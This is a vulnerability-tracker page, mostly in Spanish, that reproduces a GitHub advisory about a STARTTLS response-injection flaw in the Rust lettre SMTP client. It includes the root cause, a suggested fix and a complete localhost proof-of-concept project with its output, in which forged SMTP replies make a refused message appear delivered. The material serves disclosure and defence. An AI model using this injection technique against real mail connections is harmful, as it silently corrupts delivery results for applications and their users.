llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · lettre

GHSA-Q3JF-WMP2-47PG

STARTTLS response injection: replies sent in cleartext before TLS are read as if they came over TLS

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
4.8
Media
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición2 dDesde la divulgación, 17 nov 2026, 11:56 a. m.
Detección1 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
11:56 a. m.
12:06 p. m.
01:05 a. m.
01:00 a. m.
11:56 a. m.
03:12 a. m.
06:28 p. m.
09:44 a. m.
01:00 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-Q3JF-WMP2-47PG divulgada · CVSS 4.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

lettre's SMTP client keeps bytes it has already read before the STARTTLS upgrade and later parses them as replies received over TLS. An on-path attacker on the cleartext part of the connection (port 587/25) can append forged SMTP replies to the server's `220` reply to `STARTTLS`. lettre then uses them as the replies to the EHLO, AUTH, MAIL, RCPT, DATA and end-of-data it sends after TLS is up. This happens with `Tls::Required` and full certificate verification.

Impact: the attacker cannot read the TLS session (credentials and message go encrypted to the real server), but controls what lettre believes the server answered. For example, `send()`/`send_raw()` returns `Ok("250 ... queued as FORGED")` while the real server refused the recipient (550) and nothing was sent, so applications report "sent" for mail that was never accepted. The attacker can also forge the EHLO capabilities and shift the real replies onto later commands.

Affected: `AsyncSmtpConnection::starttls` and `SmtpConnection::starttls` (all executors), so `AsyncSmtpTransport`/`SmtpTransport` with `Tls::Required` (e.g. `starttls_relay()`). Implicit TLS (`Tls::Wrapper`, `relay()`) is not affected. The pattern is present in every release checked, from 0.5.0 to 0.11.23, and on master (94b63ac5). Same class as CVE-2011-0411 (Postfix), CVE-2020-14954 (Mutt) and CVE-2026-55558 (aiosmtplib). Suggested severity: medium.

Details

Root cause

`src/transport/smtp/client/async_connection.rs` (0.11.23, unchanged on master 94b63ac5):

https://github.com/lettre/lettre/blob/v0.11.23/src/transport/smtp/client/async_connection.rs#L43
https://github.com/lettre/lettre/blob/v0.11.23/src/transport/smtp/client/async_connection.rs#L227-L232

// line 43
stream: BufReader<AsyncNetworkStream>,

// starttls(), lines 227-232
try_smtp!(self.command(Starttls).await, self);            // reads "220" through the BufReader
self.stream.get_mut().upgrade_tls(tls_parameters).await?; // upgrades the stream *under* the BufReader
try_smtp!(self.ehlo(hello_name).await, self);              // EHLO reply is taken from the buffer first

`read_response()` uses `read_line()`. The `BufReader` fills its buffer (8 KiB) in one read, so any bytes that arrive together with the `220` stay in the buffer. `upgrade_tls()` replaces the inner stream but keeps the buffer, and nothing checks `self.stream.buffer()` before the upgrade. The blocking client has the same code:

https://github.com/lettre/lettre/blob/v0.11.23/src/transport/smtp/client/connection.rs#L150-L151

Impact

The attacker must be on path during the cleartext phase, which is exactly what `Tls::Required` is meant to protect against. They cannot read the TLS session, but they control what lettre believes the server answered:

1. Forged delivery result. Inject replies for EHLO, AUTH, MAIL, RCPT, DATA and end-of-data. `send()`/`send_raw()` returns `Ok` with the attacker's "250 ... queued as FORGED" while the real server refused the recipient (550) and nothing was delivered (see the PoC, certificate verification on).
2. Forged capabilities. The injected EHLO reply replaces `server_info` (AUTH mechanisms, SIZE, SMTPUTF8, 8BITMIME...). lettre only implements PLAIN, LOGIN and XOAUTH2, and all of them send the credential inside TLS to the real server, so forcing one of them does not expose the password. It can still change the chosen mechanism or make the send fail.
3. Reply desynchronisation. After the injected replies, the real ones are read one or more commands late, so lettre's view of every later step is wrong. Tested: with only a forged EHLO reply and a server that refuses the password, lettre takes the real EHLO's 250 as the AUTH reply, sends MAIL, then reads the real 535 there and the send fails. So it does not bypass authentication on the real server.
With `Tls::Opportunistic` the same code runs, but there an on-path attacker can already strip STARTTLS from the EHLO reply, so `Tls::Required` is the case that matters.

Suggested fix

After the `220` to STARTTLS, refuse to continue if the reader already holds bytes (what Postfix does):

try_smtp!(self.command(Starttls).await, self);
if !self.stream.buffer().is_empty() {
    self.panic = true;
    let _ = self.stream.close().await;
    return Err(error::response(
        "unexpected data after the STARTTLS reply (possible injection)",
    ));
}
self.stream.get_mut().upgrade_tls(tls_parameters).await?;

Do the same in `SmtpConnection::starttls`, using `self.stream.get_mut().shutdown(std::net::Shutdown::Both)`. Discarding the buffer would also work, but aborting is simpler and sends no QUIT in cleartext after a likely attack.

Tested on the v0.11.23 tag (eb6136a):
- lettre's 150 lib tests pass, with default features and with `--no-default-features --features smtp-transport,tokio1,tokio1-rustls,aws-lc-rs,rustls-platform-verifier,builder,pool`;
- the PoC below then fails with that error;
- a clean STARTTLS session (no injected bytes) still sends normally.

Disclosure

Not published anywhere. We will not publish until you release a fix (or a date you agree; we suggest 90 days at most). Meanwhile we use a patched copy. Happy to review the fix and to turn the PoC into a regression test.

Proof of concept

A self-contained cargo project. A single process plays both the real server and the man in the middle on 127.0.0.1. The client is lettre's `AsyncSmtpTransport` with `Tls::Required` and real certificate verification: a test CA is the only trusted root.

1. Create the project

cargo new lettre-starttls-poc && cd lettre-starttls-poc

`Cargo.toml`:

[package]
name = "lettre-starttls-poc"
version = "0.0.0"
edition = "2021"
publish = false

[dependencies]
lettre = { version = "=0.11.23", default-features = false, features = ["smtp-transport", "tokio1", "tokio1-rustls", "aws-lc-rs", "rustls-platform-verifier"] }
tokio = { version = "1", features = ["rt-multi-thread", "macros", "net", "io-util"] }
tokio-rustls = { version = "0.26", default-features = false, features = ["aws_lc_rs", "tls12"] }
rustls = { version = "0.23", default-features = false, features = ["std", "aws_lc_rs", "tls12"] }

2. Test certificates (a CA, and a certificate for `localhost` signed by it), in the project folder:

openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes -days 30 \
  -subj "/CN=PoC test CA" -addext "basicConstraints=critical,CA:TRUE" \
  -addext "keyUsage=critical,keyCertSign" -keyout ca-key.pem -out test-ca.pem
openssl req -newkey ec -pkeyopt ec_paramgen_curve:prime256v1 -nodes -subj "/CN=localhost" \
  -keyout localhost-key.pem -out localhost.csr
printf 'subjectAltName=DNS:localhost\nbasicConstraints=CA:FALSE\nextendedKeyUsage=serverAuth\n' > ext.cnf
openssl x509 -req -in localhost.csr -CA test-ca.pem -CAkey ca-key.pem -CAcreateserial \
  -days 30 -extfile ext.cnf -out localhost-cert.pem

3. `src/main.rs`

//! STARTTLS response injection in lettre 0.11.23 (async SMTP transport).
//!
//! One process plays both roles on 127.0.0.1:
//! - the *real server*: speaks ESMTP, offers STARTTLS, and over TLS accepts
//!   the login but REFUSES the recipient (550);
//! - the *man in the middle*: in the cleartext part it adds forged replies
//!   right after the genuine `220` to STARTTLS, in the same TCP segment.
//!
//! The client is lettre's high-level `AsyncSmtpTransport` with
//! `Tls::Required` and full certificate verification (the test CA is the
//! only trusted root). The forged bytes are buffered by lettre's `BufReader`
//! before the TLS upgrade and later consumed as if they had arrived over
//! TLS, so `send_raw` returns the forged "250 ... queued as FORGED" although
//! the real server refused the recipient.
//!
//! Run: cargo run

use std::sync::Arc;

use lettre::address::Envelope;
use lettre::transport::smtp::authentication::Credentials;
use lettre::transport::smtp::client::{Certificate, CertificateStore, Tls, TlsParameters};
use lettre::{AsyncSmtpTransport, AsyncTransport, Tokio1Executor};
use rustls::pki_types::pem::PemObject;
use rustls::pki_types::{CertificateDer, PrivateKeyDer};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
use tokio::net::TcpListener;

const CERT: &[u8] = include_bytes!("../localhost-cert.pem");
const KEY: &[u8] = include_bytes!("../localhost-key.pem");
const CA: &[u8] = include_bytes!("../test-ca.pem");

/// Genuine 220 + one forged reply per command lettre sends next:
/// EHLO, AUTH, MAIL, RCPT, DATA, end of data.
const MITM_STARTTLS_REPLY: &[u8] = b"220 2.0.0 Ready to start TLS\r\n\
250-forged.example\r\n250 AUTH PLAIN\r\n\
235 2.7.0 Authentication successful\r\n\
250 2.1.0 Ok\r\n\
250 2.1.5 Ok\r\n\
354 End data with <CR><LF>.<CR><LF>\r\n\
250 2.0.0 Ok: queued as FORGED\r\n";

#[tokio::main]
async fn main() {
    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let port = listener.local_addr().unwrap().port();

    let server = tokio::spawn(async move {
        let (socket, _) = listener.accept().await.unwrap();
        let mut plain = BufReader::new(socket);
        let mut line = String::new();
        plain.get_mut().write_all(b"220 real.example ESMTP\r\n").await.unwrap();
        plain.read_line(&mut line).await.unwrap(); // EHLO
        plain
            .get_mut()
            .write_all(b"250-real.example\r\n250-STARTTLS\r\n250 AUTH PLAIN\r\n")
            .await
            .unwrap();
        line.clear();
        plain.read_line(&mut line).await.unwrap();
        assert_eq!(line, "STARTTLS\r\n");
        // --- the MITM's single write: real 220 + forged replies ---
        plain.get_mut().write_all(MITM_STARTTLS_REPLY).await.unwrap();

        // --- from here on: the real server, over TLS ---
        let certs = CertificateDer::pem_slice_iter(CERT).collect::<Result<Vec<_>, _>>().unwrap();
        let key = PrivateKeyDer::from_pem_slice(KEY).unwrap();
        let config = rustls::ServerConfig::builder_with_provider(Arc::new(
            rustls::crypto::aws_lc_rs::default_provider(),
        ))
        .with_safe_default_protocol_versions()
        .unwrap()
        .with_no_client_auth()
        .with_single_cert(certs, key)
        .unwrap();
        let Ok(tls) = tokio_rustls::TlsAcceptor::from(Arc::new(config))
            .accept(plain.into_inner())
            .await
        else {
            // A patched client aborts before the TLS handshake.
            return vec!["(client closed the connection before TLS)".to_owned()];
        };
        let mut tls = BufReader::new(tls);
        let mut log = Vec::new();
        loop {
            let mut line = String::new();
            if tls.read_line(&mut line).await.unwrap_or(0) == 0 {
                break;
            }
            let upper = line.to_ascii_uppercase();
            let reply: &[u8] = if upper.starts_with("EHLO") {
                b"250-real.example\r\n250 AUTH PLAIN\r\n"
            } else if upper.starts_with("AUTH") {
                b"235 2.7.0 Authentication successful\r\n"
            } else if upper.starts_with("MAIL") {
                b"250 2.1.0 Ok\r\n"
            } else if upper.starts_with("RCPT") {
                b"550 5.1.1 <nobody@example.org>: Recipient address rejected\r\n"
            } else if upper.starts_with("QUIT") {
                b"221 Bye\r\n"
            } else {
                b"554 5.5.1 Error: no valid recipients\r\n"
            };
            log.push(format!(
                "C: {}  S: {}",
                line.trim_end(),
                String::from_utf8_lossy(reply).trim_end().replace("\r\n", " | ")
            ));
            if tls.get_mut().write_all(reply).await.is_err() {
                break;
            }
        }
        log
    });

    let tls = TlsParameters::builder("localhost".to_owned())
        .certificate_store(CertificateStore::None)
        .add_root_certificate(Certificate::from_pem(CA).unwrap())
        .build_rustls()
        .unwrap();
    let transport = AsyncSmtpTransport::<Tokio1Executor>::builder_dangerous("127.0.0.1")
        .port(port)
        .tls(Tls::Required(tls))
        .credentials(Credentials::new("alice".to_owned(), "secret".to_owned()))
        .build();
    let envelope = Envelope::new(
        Some("alice@example.com".parse().unwrap()),
        vec!["nobody@example.org".parse().unwrap()],
    )
    .unwrap();
    let result = transport
        .send_raw(&envelope, b"Subject: test\r\n\r\nHello\r\n")
        .await;
    drop(transport);

    println!("lettre send_raw result: {result:?}");
    println!("what the real server saw over TLS:");
    for line in server.await.unwrap() {
        println!("  {line}");
    }
    match result {
        Ok(response) if response.message().any(|line| line.contains("FORGED")) => {
            println!("=> INJECTION REPRODUCED: lettre reports success with the forged reply");
        }
        _ => {
            println!("=> not reproduced");
            std::process::exit(1);
        }
    }
}

4. Run it: `cargo run`

Output with lettre 0.11.23:

lettre send_raw result: Ok(Response { code: Code { severity: PositiveCompletion, category: MailSystem, detail: Zero }, message: ["2.0.0 Ok: queued as FORGED"] })
what the real server saw over TLS:
  C: EHLO [127.0.0.1]  S: 250-real.example | 250 AUTH PLAIN
  C: AUTH PLAIN AGFsaWNlAHNlY3JldA==  S: 235 2.7.0 Authentication successful
  C: MAIL FROM:<alice@example.com>  S: 250 2.1.0 Ok
  C: RCPT TO:<nobody@example.org>  S: 550 5.1.1 <nobody@example.org>: Recipient address rejected
  C: DATA  S: 554 5.5.1 Error: no valid recipients
  C: Subject: test  S: 554 5.5.1 Error: no valid recipients
  C:   S: 554 5.5.1 Error: no valid recipients
  C: Hello  S: 554 5.5.1 Error: no valid recipients
  C:   S: 554 5.5.1 Error: no valid recipients
  C: .  S: 554 5.5.1 Error: no valid recipients
  C: QUIT  S: 221 Bye
=> INJECTION REPRODUCED: lettre reports success with the forged reply

The real server refused the recipient and DATA, so nothing was delivered. lettre still returns the forged `250 ... queued as FORGED`.

Checks

  • *Certificate verification is really on.* Change `TlsParameters::builder("localhost".to_owned())` to `"wrong.example"`. The handshake fails with `InvalidCertificate(NotValidForNameContext ..)`.
  • *The blocking client has the same bug.* The same scenario with `SmtpTransport` (`std::net::TcpStream` for the client, same server code) also prints `INJECTION REPRODUCED`.
  • *With the suggested fix:*
Impact

Type: STARTTLS response injection (CWE-349, acceptance of extraneous untrusted data with trusted data). An on-path attacker can forge SMTP server replies that lettre treats as authenticated TLS traffic.

Who is impacted: every application that sends mail with lettre's SMTP transport over STARTTLS with `Tls::Required` (for example `SmtpTransport::starttls_relay()` / `AsyncSmtpTransport::starttls_relay()`, usually on port 587), with any TLS backend (rustls, native-tls, boring) and any executor (blocking, tokio, async-std). The attacker must be on the network path (public Wi-Fi, a compromised router, a hostile network between the app and its mail server). Applications that use implicit TLS (`Tls::Wrapper`, `relay()`, port 465) are not affected.

What the attacker can do:
- Make lettre report a message as sent ("250 ... queued") when the real server refused it, so the mail is silently lost while the application shows success.
- Forge the server's EHLO capabilities and shift the real replies onto later commands, so lettre misreads every later step.

What the attacker cannot do: read the password or the message. Both are sent inside TLS to the real server, and certificate verification still works. It also does not bypass authentication: tested, a refused login still makes the send fail.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:L
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
lettre≤ 0.11.23
0.11.23
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iolettre
Sin parche — — 0.11.23 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/lettre/lettre/security/advisories/GHSA-q3jf-wmp2-47pg

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.